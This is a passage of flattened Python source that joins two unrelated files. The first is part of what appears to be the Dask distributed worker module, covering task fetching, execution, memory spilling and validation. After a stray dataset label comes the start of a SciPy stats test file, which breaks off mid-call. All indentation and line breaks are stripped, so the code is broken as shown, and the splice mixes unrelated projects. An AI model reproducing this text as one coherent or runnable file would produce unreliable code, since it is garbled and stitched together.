) logger.debug( "Request %d keys for task %s from %s", len(to_gather_keys), cause, worker, ) start = time() response = await get_data_from_worker( self.rpc, to_gather_keys, worker, who=self.address ) stop = time() if response["status"] == "busy": return self._update_metrics_received_data( start=start, stop=stop, data=response["data"], cause=cause, worker=worker, ) self.log.append( ("receive-dep", worker, set(response["data"]), stimulus_id, time()) ) except OSError: logger.exception("Worker stream died during communication: %s", worker) has_what = self.has_what.pop(worker) self.pending_data_per_worker.pop(worker) self.log.append( ("receive-dep-failed", worker, has_what, stimulus_id, time()) ) for d in has_what: ts = self.tasks[d] ts.who_has.remove(worker) except Exception as e: logger.exception(e) if self.batched_stream and LOG_PDB: import pdb pdb.set_trace() msg = error_message(e) for k in self.in_flight_workers[worker]: ts = self.tasks[k] recommendations[ts] = tuple(msg.values()) raise finally: self.comm_nbytes -= total_nbytes busy = response.get("status", "") == "busy" data = response.get("data", {}) if busy: self.log.append( ("busy-gather", worker, to_gather_keys, stimulus_id, time()) ) for d in self.in_flight_workers.pop(worker): ts = self.tasks[d] ts.done = True if d in cancelled_keys: if ts.state == "cancelled": recommendations[ts] = "released" else: recommendations[ts] = "fetch" elif d in data: recommendations[ts] = ("memory", data[d]) elif busy: recommendations[ts] = "fetch" elif ts not in recommendations: ts.who_has.discard(worker) self.has_what[worker].discard(ts.key) self.log.append((d, "missing-dep", stimulus_id, time())) self.batched_stream.send( {"op": "missing-data", "errant_worker": worker, "key": d} ) recommendations[ts] = "fetch" if ts.who_has else "missing" del data, response self.transitions(recommendations, stimulus_id=stimulus_id) self.ensure_computing() if not busy: self.repetitively_busy = 0 else: # Exponential backoff to avoid hammering scheduler/worker self.repetitively_busy += 1 await asyncio.sleep(0.100 * 1.5**self.repetitively_busy) await self.query_who_has(*to_gather_keys) self.ensure_communicating() async def find_missing(self) -> None: with log_errors(): if not self._missing_dep_flight: return try: if self.validate: for ts in self._missing_dep_flight: assert not ts.who_has stimulus_id = f"find-missing-{time()}" who_has = await retry_operation( self.scheduler.who_has, keys=[ts.key for ts in self._missing_dep_flight], ) who_has = {k: v for k, v in who_has.items() if v} self.update_who_has(who_has) recommendations: Recs = {} for ts in self._missing_dep_flight: if ts.who_has: recommendations[ts] = "fetch" self.transitions(recommendations, stimulus_id=stimulus_id) finally: # This is quite arbitrary but the heartbeat has scaling implemented self.periodic_callbacks[ "find-missing" ].callback_time = self.periodic_callbacks["heartbeat"].callback_time self.ensure_communicating() self.ensure_computing() async def query_who_has(self, *deps: str) -> dict[str, Collection[str]]: with log_errors(): who_has = await retry_operation(self.scheduler.who_has, keys=deps) self.update_who_has(who_has) return who_has def update_who_has(self, who_has: dict[str, Collection[str]]) -> None: try: for dep, workers in who_has.items(): if not workers: continue if dep in self.tasks: dep_ts = self.tasks[dep] if self.address in workers and self.tasks[dep].state != "memory": logger.debug( "Scheduler claims worker %s holds data for task %s which is not true.", self.name, dep, ) # Do not mutate the input dict. That's rude workers = set(workers) - {self.address} dep_ts.who_has.update(workers) for worker in workers: self.has_what[worker].add(dep) self.pending_data_per_worker[worker].push(dep_ts) except Exception as e: # pragma: no cover logger.exception(e) if LOG_PDB: import pdb pdb.set_trace() raise def handle_steal_request(self, key: str, stimulus_id: str) -> None: # There may be a race condition between stealing and releasing a task. # In this case the self.tasks is already cleared. The `None` will be # registered as `already-computing` on the other end ts = self.tasks.get(key) state = ts.state if ts is not None else None response = { "op": "steal-response", "key": key, "state": state, "stimulus_id": stimulus_id, } self.batched_stream.send(response) if state in READY | {"waiting"}: assert ts # If task is marked as "constrained" we haven't yet assigned it an # `available_resources` to run on, that happens in # `transition_constrained_executing` self.transition(ts, "released", stimulus_id=stimulus_id) def handle_worker_status_change(self, status: str) -> None: new_status = Status.lookup[status] # type: ignore if ( new_status == Status.closing_gracefully and self._status not in Status.ANY_RUNNING # type: ignore ): logger.error( "Invalid Worker.status transition: %s -> %s", self._status, new_status ) # Reiterate the current status to the scheduler to restore sync self._send_worker_status_change() else: # Update status and send confirmation to the Scheduler (see status.setter) self.status = new_status def release_key( self, key: str, cause: TaskState | None = None, report: bool = True, *, stimulus_id: str, ) -> None: try: if self.validate: assert not isinstance(key, TaskState) ts = self.tasks[key] # needed for legacy notification support state_before = ts.state ts.state = "released" logger.debug( "Release key %s", {"key": key, "cause": cause, "stimulus_id": stimulus_id}, ) if cause: self.log.append( (key, "release-key", {"cause": cause}, stimulus_id, time()) ) else: self.log.append((key, "release-key", stimulus_id, time())) if key in self.data: try: del self.data[key] except FileNotFoundError: logger.error("Tried to delete %s but no file found", exc_info=True) if key in self.actors: del self.actors[key] for worker in ts.who_has: self.has_what[worker].discard(ts.key) ts.who_has.clear() if key in self.threads: del self.threads[key] if ts.resource_restrictions is not None: if ts.state == "executing": for resource, quantity in ts.resource_restrictions.items(): self.available_resources[resource] += quantity for d in ts.dependencies: ts.waiting_for_data.discard(d) d.waiters.discard(ts) ts.waiting_for_data.clear() ts.nbytes = None ts._previous = None ts._next = None ts.done = False self._executing.discard(ts) self._in_flight_tasks.discard(ts) self._notify_plugins( "release_key", key, state_before, cause, stimulus_id, report ) except CommClosedError: # Batched stream send might raise if it was already closed pass except Exception as e: # pragma: no cover logger.exception(e) if LOG_PDB: import pdb pdb.set_trace() raise ################ # Execute Task # ################ def run(self, comm, function, args=(), wait=True, kwargs=None): return run(self, comm, function=function, args=args, kwargs=kwargs, wait=wait) def run_coroutine(self, comm, function, args=(), kwargs=None, wait=True): return run(self, comm, function=function, args=args, kwargs=kwargs, wait=wait) async def plugin_add( self, plugin: WorkerPlugin | bytes, name: str | None = None, catch_errors: bool = True, ) -> dict[str, Any]: with log_errors(pdb=False): if isinstance(plugin, bytes): # Note: historically we have accepted duck-typed classes that don't # inherit from WorkerPlugin. Don't do `assert isinstance`. plugin = cast("WorkerPlugin", pickle.loads(plugin)) if name is None: name = _get_plugin_name(plugin) assert name if name in self.plugins: await self.plugin_remove(name=name) self.plugins[name] = plugin logger.info("Starting Worker plugin %s" % name) if hasattr(plugin, "setup"): try: result = plugin.setup(worker=self) if isawaitable(result): result = await result except Exception as e: if not catch_errors: raise msg = error_message(e) return msg return {"status": "OK"} async def plugin_remove(self, name: str) -> dict[str, Any]: with log_errors(pdb=False): logger.info(f"Removing Worker plugin {name}") try: plugin = self.plugins.pop(name) if hasattr(plugin, "teardown"): result = plugin.teardown(worker=self) if isawaitable(result): result = await result except Exception as e: msg = error_message(e) return msg return {"status": "OK"} async def actor_execute( self, actor=None, function=None, args=(), kwargs: dict | None = None, ) -> dict[str, Any]: kwargs = kwargs or {} separate_thread = kwargs.pop("separate_thread", True) key = actor actor = self.actors[key] func = getattr(actor, function) name = key_split(key) + "." + function try: if iscoroutinefunction(func): result = await func(*args, **kwargs) elif separate_thread: result = await self.loop.run_in_executor( self.executors["actor"], apply_function_actor, func, args, kwargs, self.execution_state, name, self.active_threads, self.active_threads_lock, ) else: result = func(*args, **kwargs) return {"status": "OK", "result": to_serialize(result)} except Exception as ex: return {"status": "error", "exception": to_serialize(ex)} def actor_attribute(self, actor=None, attribute=None) -> dict[str, Any]: try: value = getattr(self.actors[actor], attribute) return {"status": "OK", "result": to_serialize(value)} except Exception as ex: return {"status": "error", "exception": to_serialize(ex)} def meets_resource_constraints(self, key: str) -> bool: ts = self.tasks[key] if not ts.resource_restrictions: return True for resource, needed in ts.resource_restrictions.items(): if self.available_resources[resource] < needed: return False return True async def _maybe_deserialize_task( self, ts: TaskState, *, stimulus_id: str ) -> tuple[Callable, tuple, dict[str, Any]] | None: if ts.run_spec is None: return None try: start = time() # Offload deserializing large tasks if sizeof(ts.run_spec) > OFFLOAD_THRESHOLD: function, args, kwargs = await offload(_deserialize, *ts.run_spec) else: function, args, kwargs = _deserialize(*ts.run_spec) stop = time() if stop - start > 0.010: ts.startstops.append( {"action": "deserialize", "start": start, "stop": stop} ) return function, args, kwargs except Exception as e: logger.error("Could not deserialize task", exc_info=True) self.log.append((ts.key, "deserialize-error", stimulus_id, time())) emsg = error_message(e) emsg.pop("status") self.transition( ts, "error", **emsg, stimulus_id=stimulus_id, ) raise def ensure_computing(self) -> None: if self.status in (Status.paused, Status.closing_gracefully): return try: stimulus_id = f"ensure-computing-{time()}" while self.constrained and self.executing_count < self.nthreads: key = self.constrained[0] ts = self.tasks.get(key, None) if ts is None or ts.state != "constrained": self.constrained.popleft() continue if self.meets_resource_constraints(key): self.constrained.popleft() self.transition(ts, "executing", stimulus_id=stimulus_id) else: break while self.ready and self.executing_count < self.nthreads: priority, key = heapq.heappop(self.ready) ts = self.tasks.get(key) if ts is None: # It is possible for tasks to be released while still remaining on # `ready` The scheduler might have re-routed to a new worker and # told this worker to release. If the task has "disappeared" just # continue through the heap continue elif ts.key in self.data: self.transition(ts, "memory", stimulus_id=stimulus_id) elif ts.state in READY: self.transition(ts, "executing", stimulus_id=stimulus_id) except Exception as e: # pragma: no cover logger.exception(e) if LOG_PDB: import pdb pdb.set_trace() raise async def execute(self, key: str, *, stimulus_id: str) -> None: if self.status in {Status.closing, Status.closed, Status.closing_gracefully}: return if key not in self.tasks: return ts = self.tasks[key] try: if ts.state == "cancelled": # This might happen if keys are canceled logger.debug( "Trying to execute task %s which is not in executing state anymore", ts, ) ts.done = True self.transition(ts, "released", stimulus_id=stimulus_id) return if self.validate: assert not ts.waiting_for_data assert ts.state == "executing" assert ts.run_spec is not None function, args, kwargs = await self._maybe_deserialize_task( # type: ignore ts, stimulus_id=stimulus_id ) args2, kwargs2 = self._prepare_args_for_execution(ts, args, kwargs) if ts.annotations is not None and "executor" in ts.annotations: executor = ts.annotations["executor"] else: executor = "default" assert executor in self.executors assert key == ts.key self.active_keys.add(ts.key) result: dict try: e = self.executors[executor] ts.start_time = time() if iscoroutinefunction(function): result = await apply_function_async( function, args2, kwargs2, self.scheduler_delay, ) elif "ThreadPoolExecutor" in str(type(e)): result = await self.loop.run_in_executor( e, apply_function, function, args2, kwargs2, self.execution_state, ts.key, self.active_threads, self.active_threads_lock, self.scheduler_delay, ) else: result = await self.loop.run_in_executor( e, apply_function_simple, function, args2, kwargs2, self.scheduler_delay, ) finally: self.active_keys.discard(ts.key) key = ts.key # key *must* be still in tasks. Releasing it directly is forbidden # without going through cancelled ts = self.tasks.get(key) # type: ignore assert ts, self.story(key) ts.done = True result["key"] = ts.key value = result.pop("result", None) ts.startstops.append( {"action": "compute", "start": result["start"], "stop": result["stop"]} ) self.threads[ts.key] = result["thread"] recommendations: Recs = {} if result["op"] == "task-finished": ts.nbytes = result["nbytes"] ts.type = result["type"] recommendations[ts] = ("memory", value) if self.digests is not None: self.digests["task-duration"].add(result["stop"] - result["start"]) elif isinstance(result.pop("actual-exception"), Reschedule): recommendations[ts] = "rescheduled" else: logger.warning( "Compute Failed\n" "Function: %s\n" "args: %s\n" "kwargs: %s\n" "Exception: %r\n", str(funcname(function))[:1000], convert_args_to_str(args2, max_len=1000), convert_kwargs_to_str(kwargs2, max_len=1000), result["exception_text"], ) recommendations[ts] = ( "error", result["exception"], result["traceback"], result["exception_text"], result["traceback_text"], ) self.transitions(recommendations, stimulus_id=stimulus_id) logger.debug("Send compute response to scheduler: %s, %s", ts.key, result) if self.validate: assert ts.state != "executing" assert not ts.waiting_for_data except Exception as exc: assert ts logger.error( "Exception during execution of task %s.", ts.key, exc_info=True ) emsg = error_message(exc) emsg.pop("status") self.transition( ts, "error", **emsg, stimulus_id=stimulus_id, ) finally: self.ensure_computing() self.ensure_communicating() def _prepare_args_for_execution( self, ts: TaskState, args: tuple, kwargs: dict[str, Any] ) -> tuple[tuple, dict[str, Any]]: start = time() data = {} for dep in ts.dependencies: k = dep.key try: data[k] = self.data[k] except KeyError: from .actor import Actor # TODO: create local actor data[k] = Actor(type(self.actors[k]), self.address, k, self) args2 = pack_data(args, data, key_types=(bytes, str)) kwargs2 = pack_data(kwargs, data, key_types=(bytes, str)) stop = time() if stop - start > 0.005: ts.startstops.append({"action": "disk-read", "start": start, "stop": stop}) if self.digests is not None: self.digests["disk-load-duration"].add(stop - start) return args2, kwargs2 ################## # Administrative # ################## async def memory_monitor(self) -> None: """Track this process's memory usage and act accordingly If we rise above 70% memory use, start dumping data to disk. If we rise above 80% memory use, stop execution of new tasks """ if self._memory_monitoring: return self._memory_monitoring = True assert self.memory_limit total = 0 memory = self.monitor.get_process_memory() frac = memory / self.memory_limit def check_pause(memory): frac = memory / self.memory_limit # Pause worker threads if above 80% memory use if self.memory_pause_fraction and frac > self.memory_pause_fraction: # Try to free some memory while in paused state self._throttled_gc.collect() if self.status == Status.running: logger.warning( "Worker is at %d%% memory usage. Pausing worker. " "Process memory: %s -- Worker memory limit: %s", int(frac * 100), format_bytes(memory), format_bytes(self.memory_limit) if self.memory_limit is not None else "None", ) self.status = Status.paused elif self.status == Status.paused: logger.warning( "Worker is at %d%% memory usage. Resuming worker. " "Process memory: %s -- Worker memory limit: %s", int(frac * 100), format_bytes(memory), format_bytes(self.memory_limit) if self.memory_limit is not None else "None", ) self.status = Status.running self.ensure_computing() self.ensure_communicating() check_pause(memory) # Dump data to disk if above 70% if self.memory_spill_fraction and frac > self.memory_spill_fraction: from .spill import SpillBuffer assert isinstance(self.data, SpillBuffer) logger.debug( "Worker is at %.0f%% memory usage. Start spilling data to disk.", frac * 100, ) # Implement hysteresis cycle where spilling starts at the spill threshold # and stops at the target threshold. Normally that here the target threshold # defines process memory, whereas normally it defines reported managed # memory (e.g. output of sizeof() ). # If target=False, disable hysteresis. target = self.memory_limit * ( self.memory_target_fraction or self.memory_spill_fraction ) count = 0 need = memory - target while memory > target: if not self.data.fast: logger.warning( "Unmanaged memory use is high. This may indicate a memory leak " "or the memory may not be released to the OS; see " "https://distributed.dask.org/en/latest/worker.html#memtrim " "for more information. " "-- Unmanaged memory: %s -- Worker memory limit: %s", format_bytes(memory), format_bytes(self.memory_limit), ) break weight = self.data.evict() if weight == -1: # Failed to evict: # disk full, spill size limit exceeded, or pickle error break total += weight count += 1 await asyncio.sleep(0) memory = self.monitor.get_process_memory() if total > need and memory > target: # Issue a GC to ensure that the evicted data is actually # freed from memory and taken into account by the monitor # before trying to evict even more data. self._throttled_gc.collect() memory = self.monitor.get_process_memory() check_pause(memory) if count: logger.debug( "Moved %d tasks worth %s to disk", count, format_bytes(total), ) self._memory_monitoring = False def cycle_profile(self) -> None: now = time() + self.scheduler_delay prof, self.profile_recent = self.profile_recent, profile.create() self.profile_history.append((now, prof)) self.profile_keys_history.append((now, dict(self.profile_keys))) self.profile_keys.clear() def trigger_profile(self) -> None: """ Get a frame from all actively computing threads Merge these frames into existing profile counts """ if not self.active_threads: # hope that this is thread-atomic? return start = time() with self.active_threads_lock: active_threads = self.active_threads.copy() frames = sys._current_frames() frames = {ident: frames[ident] for ident in active_threads} llframes = {} if self.low_level_profiler: llframes = {ident: profile.ll_get_stack(ident) for ident in active_threads} for ident, frame in frames.items(): if frame is not None: key = key_split(active_threads[ident]) llframe = llframes.get(ident) state = profile.process( frame, True, self.profile_recent, stop="distributed/worker.py" ) profile.llprocess(llframe, None, state) profile.process( frame, True, self.profile_keys[key], stop="distributed/worker.py" ) stop = time() if self.digests is not None: self.digests["profile-duration"].add(stop - start) async def get_profile( self, start=None, stop=None, key=None, server: bool = False, ): now = time() + self.scheduler_delay if server: history = self.io_loop.profile elif key is None: history = self.profile_history else: history = [(t, d[key]) for t, d in self.profile_keys_history if key in d] if start is None: istart = 0 else: istart = bisect.bisect_left(history, (start,)) if stop is None: istop = None else: istop = bisect.bisect_right(history, (stop,)) + 1 if istop >= len(history): istop = None # include end if istart == 0 and istop is None: history = list(history) else: iistop = len(history) if istop is None else istop history = [history[i] for i in range(istart, iistop)] prof = profile.merge(*pluck(1, history)) if not history: return profile.create() if istop is None and (start is None or start < now): if key is None: recent = self.profile_recent else: recent = self.profile_keys[key] prof = profile.merge(prof, recent) return prof async def get_profile_metadata( self, start: float = 0, stop: float | None = None ) -> dict[str, Any]: add_recent = stop is None now = time() + self.scheduler_delay stop = stop or now result = { "counts": [ (t, d["count"]) for t, d in self.profile_history if start < t < stop ], "keys": [ (t, {k: d["count"] for k, d in v.items()}) for t, v in self.profile_keys_history if start < t < stop ], } if add_recent: result["counts"].append((now, self.profile_recent["count"])) result["keys"].append( (now, {k: v["count"] for k, v in self.profile_keys.items()}) ) return result def get_call_stack(self, keys: Collection[str] | None = None) -> dict[str, Any]: with self.active_threads_lock: sys_frames = sys._current_frames() frames = {key: sys_frames[tid] for tid, key in self.active_threads.items()} if keys is not None: frames = {key: frames[key] for key in keys if key in frames} return {key: profile.call_stack(frame) for key, frame in frames.items()} def _notify_plugins(self, method_name, *args, **kwargs): for name, plugin in self.plugins.items(): if hasattr(plugin, method_name): if method_name == "release_key": warnings.warn( "The `WorkerPlugin.release_key` hook is deprecated and will be " "removed in a future version. A similar event can now be " "caught by filtering for a `finish=='released'` event in the " "`WorkerPlugin.transition` hook.", FutureWarning, ) try: getattr(plugin, method_name)(*args, **kwargs) except Exception: logger.info( "Plugin '%s' failed with exception", name, exc_info=True ) ############## # Validation # ############## def validate_task_memory(self, ts): assert ts.key in self.data or ts.key in self.actors assert isinstance(ts.nbytes, int) assert not ts.waiting_for_data assert ts.key not in self.ready assert ts.state == "memory" def validate_task_executing(self, ts): assert ts.state == "executing" assert ts.run_spec is not None assert ts.key not in self.data assert not ts.waiting_for_data for dep in ts.dependencies: assert dep.state == "memory", self.story(dep) assert dep.key in self.data or dep.key in self.actors def validate_task_ready(self, ts): assert ts.key in pluck(1, self.ready) assert ts.key not in self.data assert ts.state != "executing" assert not ts.done assert not ts.waiting_for_data assert all( dep.key in self.data or dep.key in self.actors for dep in ts.dependencies ) def validate_task_waiting(self, ts): assert ts.key not in self.data assert ts.state == "waiting" assert not ts.done if ts.dependencies and ts.run_spec: assert not all(dep.key in self.data for dep in ts.dependencies) def validate_task_flight(self, ts): assert ts.key not in self.data assert ts in self._in_flight_tasks assert not any(dep.key in self.ready for dep in ts.dependents) assert ts.coming_from assert ts.coming_from in self.in_flight_workers assert ts.key in self.in_flight_workers[ts.coming_from] def validate_task_fetch(self, ts): assert ts.key not in self.data assert self.address not in ts.who_has assert not ts.done assert ts in self.data_needed assert ts.who_has for w in ts.who_has: assert ts.key in self.has_what[w] assert ts in self.pending_data_per_worker[w] def validate_task_missing(self, ts): assert ts.key not in self.data assert not ts.who_has assert not ts.done assert not any(ts.key in has_what for has_what in self.has_what.values()) assert ts in self._missing_dep_flight def validate_task_cancelled(self, ts): assert ts.key not in self.data assert ts._previous assert ts._next def validate_task_resumed(self, ts): assert ts.key not in self.data assert ts._next assert ts._previous def validate_task_released(self, ts): assert ts.key not in self.data assert not ts._next assert not ts._previous assert ts not in self._executing assert ts not in self._in_flight_tasks assert ts not in self._missing_dep_flight assert ts not in self._missing_dep_flight assert not any(ts.key in has_what for has_what in self.has_what.values()) assert not ts.waiting_for_data assert not ts.done assert not ts.exception assert not ts.traceback def validate_task(self, ts): try:
codeparrot/github-code-clean
""" Test functions for stats module WRITTEN BY LOUIS LUANGKESORN <lluang@yahoo.com> FOR THE STATS MODULE BASED ON WILKINSON'S STATISTICS QUIZ http://www.stanford.edu/~clint/bench/wilk.txt Additional tests by a host of SciPy developers. """ from __future__ import division, print_function, absolute_import import sys import warnings from collections import namedtuple from numpy.testing import (TestCase, assert_, assert_equal, assert_almost_equal, assert_array_almost_equal, assert_array_equal, assert_approx_equal, assert_raises, run_module_suite, assert_allclose, dec) import numpy.ma.testutils as mat from numpy import array, arange, float32, float64, power import numpy as np import scipy.stats as stats """ Numbers in docstrings beginning with 'W' refer to the section numbers and headings found in the STATISTICS QUIZ of Leland Wilkinson. These are considered to be essential functionality. True testing and evaluation of a statistics package requires use of the NIST Statistical test data. See McCoullough(1999) Assessing The Reliability of Statistical Software for a test methodology and its implementation in testing SAS, SPSS, and S-Plus """ # Datasets # These data sets are from the nasty.dat sets used by Wilkinson # For completeness, I should write the relevant tests and count them as failures # Somewhat acceptable, since this is still beta software. It would count as a # good target for 1.0 status X = array([1,2,3,4,5,6,7,8,9], float) ZERO = array([0,0,0,0,0,0,0,0,0], float) BIG = array([99999991,99999992,99999993,99999994,99999995,99999996,99999997, 99999998,99999999], float) LITTLE = array([0.99999991,0.99999992,0.99999993,0.99999994,0.99999995,0.99999996, 0.99999997,0.99999998,0.99999999], float) HUGE = array([1e+12,2e+12,3e+12,4e+12,5e+12,6e+12,7e+12,8e+12,9e+12], float) TINY = array([1e-12,2e-12,3e-12,4e-12,5e-12,6e-12,7e-12,8e-12,9e-12], float) ROUND = array([0.5,1.5,2.5,3.5,4.5,5.5,6.5,7.5,8.5], float) class TestTrimmedStats(TestCase): # TODO: write these tests to handle missing values properly dprec = np.finfo(np.float64).precision def test_tmean(self): y = stats.tmean(X, (2, 8), (True, True)) assert_approx_equal(y, 5.0, significant=self.dprec) y1 = stats.tmean(X, limits=(2, 8), inclusive=(False, False)) y2 = stats.tmean(X, limits=None) assert_approx_equal(y1, y2, significant=self.dprec) def test_tvar(self): y = stats.tvar(X, limits=(2, 8), inclusive=(True, True)) assert_approx_equal(y, 4.6666666666666661, significant=self.dprec) y = stats.tvar(X, limits=None) assert_approx_equal(y, X.var(ddof=1), significant=self.dprec) def test_tstd(self): y = stats.tstd(X, (2, 8), (True, True)) assert_approx_equal(y, 2.1602468994692865, significant=self.dprec) y = stats.tstd(X, limits=None) assert_approx_equal(y, X.std(ddof=1), significant=self.dprec) def test_tmin(self): x = np.arange(10) assert_equal(stats.tmin(x), 0) assert_equal(stats.tmin(x, lowerlimit=0), 0) assert_equal(stats.tmin(x, lowerlimit=0, inclusive=False), 1) x = x.reshape((5, 2)) assert_equal(stats.tmin(x, lowerlimit=0, inclusive=False), [2, 1]) assert_equal(stats.tmin(x, axis=1), [0, 2, 4, 6, 8]) assert_equal(stats.tmin(x, axis=None), 0) def test_tmax(self): x = np.arange(10) assert_equal(stats.tmax(x), 9) assert_equal(stats.tmax(x, upperlimit=9),9) assert_equal(stats.tmax(x, upperlimit=9, inclusive=False), 8) x = x.reshape((5, 2)) assert_equal(stats.tmax(x, upperlimit=9, inclusive=False), [8, 7]) assert_equal(stats.tmax(x, axis=1), [1, 3, 5, 7, 9]) assert_equal(stats.tmax(x, axis=None), 9) def test_tsem(self): y = stats.tsem(X, limits=(3, 8), inclusive=(False, True)) y_ref = np.array([4, 5, 6, 7, 8]) assert_approx_equal(y, y_ref.std(ddof=1) / np.sqrt(y_ref.size), significant=self.dprec) assert_approx_equal(stats.tsem(X, limits=[-1, 10]), stats.tsem(X, limits=None), significant=self.dprec) class TestNanFunc(TestCase): def __init__(self, *args, **kw): TestCase.__init__(self, *args, **kw) self.X = X.copy() self.Xall = X.copy() self.Xall[:] = np.nan self.Xsome = X.copy() self.Xsomet = X.copy() self.Xsome[0] = np.nan self.Xsomet = self.Xsomet[1:] def test_nanmean_none(self): # Check nanmean when no values are nan. with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) m = stats.nanmean(X) assert_approx_equal(m, X[4]) def test_nanmean_some(self): # Check nanmean when some values only are nan. with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) m = stats.nanmean(self.Xsome) assert_approx_equal(m, 5.5) def test_nanmean_all(self): # Check nanmean when all values are nan. with warnings.catch_warnings(): warns = (DeprecationWarning, RuntimeWarning) warnings.simplefilter('ignore', warns) with np.errstate(invalid='ignore'): m = stats.nanmean(self.Xall) assert_(np.isnan(m)) def test_nanstd_none(self): # Check nanstd when no values are nan. with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) s = stats.nanstd(self.X) assert_approx_equal(s, np.std(self.X, ddof=1)) def test_nanstd_some(self): # Check nanstd when some values only are nan. with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) s = stats.nanstd(self.Xsome) assert_approx_equal(s, np.std(self.Xsomet, ddof=1)) def test_nanstd_all(self): # Check nanstd when all values are nan. with warnings.catch_warnings(): warns = (DeprecationWarning, RuntimeWarning) warnings.simplefilter('ignore', warns) with np.errstate(invalid='ignore'): s = stats.nanstd(self.Xall) assert_(np.isnan(s)) def test_nanstd_bias_kw(self): s = stats.nanstd(self.X, bias=True) assert_approx_equal(s, np.std(self.X, ddof=0)) def test_nanstd_negative_axis(self): x = np.array([1, 2, 3]) res = stats.nanstd(x, -1) assert_equal(res, 1) def test_nanmedian_none(self): # Check nanmedian when no values are nan. with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) m = stats.nanmedian(self.X) assert_approx_equal(m, np.median(self.X)) def test_nanmedian_axis(self): # Check nanmedian with axis X = self.X.reshape(3,3) with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) m = stats.nanmedian(X, axis=0) assert_equal(m, np.median(X, axis=0)) m = stats.nanmedian(X, axis=1) assert_equal(m, np.median(X, axis=1)) def test_nanmedian_some(self): # Check nanmedian when some values only are nan. with warnings.catch_warnings(): warnings.simplefilter('ignore', DeprecationWarning) m = stats.nanmedian(self.Xsome) assert_approx_equal(m, np.median(self.Xsomet)) def test_nanmedian_all(self): # Check nanmedian when all values are nan. with warnings.catch_warnings(record=True) as w: warnings.simplefilter('always') m = stats.nanmedian(self.Xall) assert_(np.isnan(m)) assert_equal(len(w), 2) # Deprecation & RuntimeWarning assert_(issubclass(w[1].category, RuntimeWarning)) def test_nanmedian_all_axis(self): # Check nanmedian when all values are nan. with warnings.catch_warnings(record=True) as w: warnings.simplefilter('always') m = stats.nanmedian(self.Xall.reshape(3,3), axis=1) assert_(np.isnan(m).all()) assert_equal(len(w), 4) assert_(issubclass(w[-1].category, RuntimeWarning)) def test_nanmedian_scalars(self): # Check nanmedian for scalar inputs. See ticket #1098. assert_equal(stats.nanmedian(1), np.median(1)) assert_equal(stats.nanmedian(True), np.median(True)) assert_equal(stats.nanmedian(np.array(1)), np.median(np.array(1))) assert_equal(stats.nanmedian(np.nan), np.median(np.nan)) class TestCorrPearsonr(TestCase): """ W.II.D. Compute a correlation matrix on all the variables. All the correlations, except for ZERO and MISS, shoud be exactly 1. ZERO and MISS should have undefined or missing correlations with the other variables. The same should go for SPEARMAN corelations, if your program has them. """ def test_pXX(self): y = stats.pearsonr(X,X) r = y[0] assert_approx_equal(r,1.0) def test_pXBIG(self): y = stats.pearsonr(X,BIG) r = y[0] assert_approx_equal(r,1.0) def test_pXLITTLE(self): y = stats.pearsonr(X,LITTLE) r = y[0] assert_approx_equal(r,1.0) def test_pXHUGE(self): y = stats.pearsonr(X,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_pXTINY(self): y = stats.pearsonr(X,TINY) r = y[0] assert_approx_equal(r,1.0) def test_pXROUND(self): y = stats.pearsonr(X,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_pBIGBIG(self): y = stats.pearsonr(BIG,BIG) r = y[0] assert_approx_equal(r,1.0) def test_pBIGLITTLE(self): y = stats.pearsonr(BIG,LITTLE) r = y[0] assert_approx_equal(r,1.0) def test_pBIGHUGE(self): y = stats.pearsonr(BIG,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_pBIGTINY(self): y = stats.pearsonr(BIG,TINY) r = y[0] assert_approx_equal(r,1.0) def test_pBIGROUND(self): y = stats.pearsonr(BIG,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_pLITTLELITTLE(self): y = stats.pearsonr(LITTLE,LITTLE) r = y[0] assert_approx_equal(r,1.0) def test_pLITTLEHUGE(self): y = stats.pearsonr(LITTLE,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_pLITTLETINY(self): y = stats.pearsonr(LITTLE,TINY) r = y[0] assert_approx_equal(r,1.0) def test_pLITTLEROUND(self): y = stats.pearsonr(LITTLE,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_pHUGEHUGE(self): y = stats.pearsonr(HUGE,HUGE) r = y[0] assert_approx_equal(r,1.0) def test_pHUGETINY(self): y = stats.pearsonr(HUGE,TINY) r = y[0] assert_approx_equal(r,1.0) def test_pHUGEROUND(self): y = stats.pearsonr(HUGE,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_pTINYTINY(self): y = stats.pearsonr(TINY,TINY) r = y[0] assert_approx_equal(r,1.0) def test_pTINYROUND(self): y = stats.pearsonr(TINY,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_pROUNDROUND(self): y = stats.pearsonr(ROUND,ROUND) r = y[0] assert_approx_equal(r,1.0) def test_r_exactly_pos1(self): a = arange(3.0) b = a r, prob = stats.pearsonr(a,b) assert_equal(r, 1.0) assert_equal(prob, 0.0) def test_r_exactly_neg1(self): a = arange(3.0) b = -a r, prob = stats.pearsonr(a,b) assert_equal(r, -1.0) assert_equal(prob, 0.0) def test_basic(self): # A basic test, with a correlation coefficient # that is not 1 or -1. a = array([-1, 0, 1]) b = array([0, 0, 3]) r, prob = stats.pearsonr(a, b) assert_approx_equal(r, np.sqrt(3)/2) assert_approx_equal(prob, 1.0/3) class TestFisherExact(TestCase): """Some tests to show that fisher_exact() works correctly. Note that in SciPy 0.9.0 this was not working well for large numbers due to inaccuracy of the hypergeom distribution (see #1218). Fixed now. Also note that R and Scipy have different argument formats for their hypergeometric distribution functions. R: > phyper(18999, 99000, 110000, 39000, lower.tail = FALSE) [1] 1.701815e-09 """ def test_basic(self): fisher_exact = stats.fisher_exact res = fisher_exact([[14500, 20000], [30000, 40000]])[1] assert_approx_equal(res, 0.01106, significant=4) res = fisher_exact([[100, 2], [1000, 5]])[1] assert_approx_equal(res, 0.1301, significant=4) res = fisher_exact([[2, 7], [8, 2]])[1] assert_approx_equal(res, 0.0230141, significant=6) res = fisher_exact([[5, 1], [10, 10]])[1] assert_approx_equal(res, 0.1973244, significant=6) res = fisher_exact([[5, 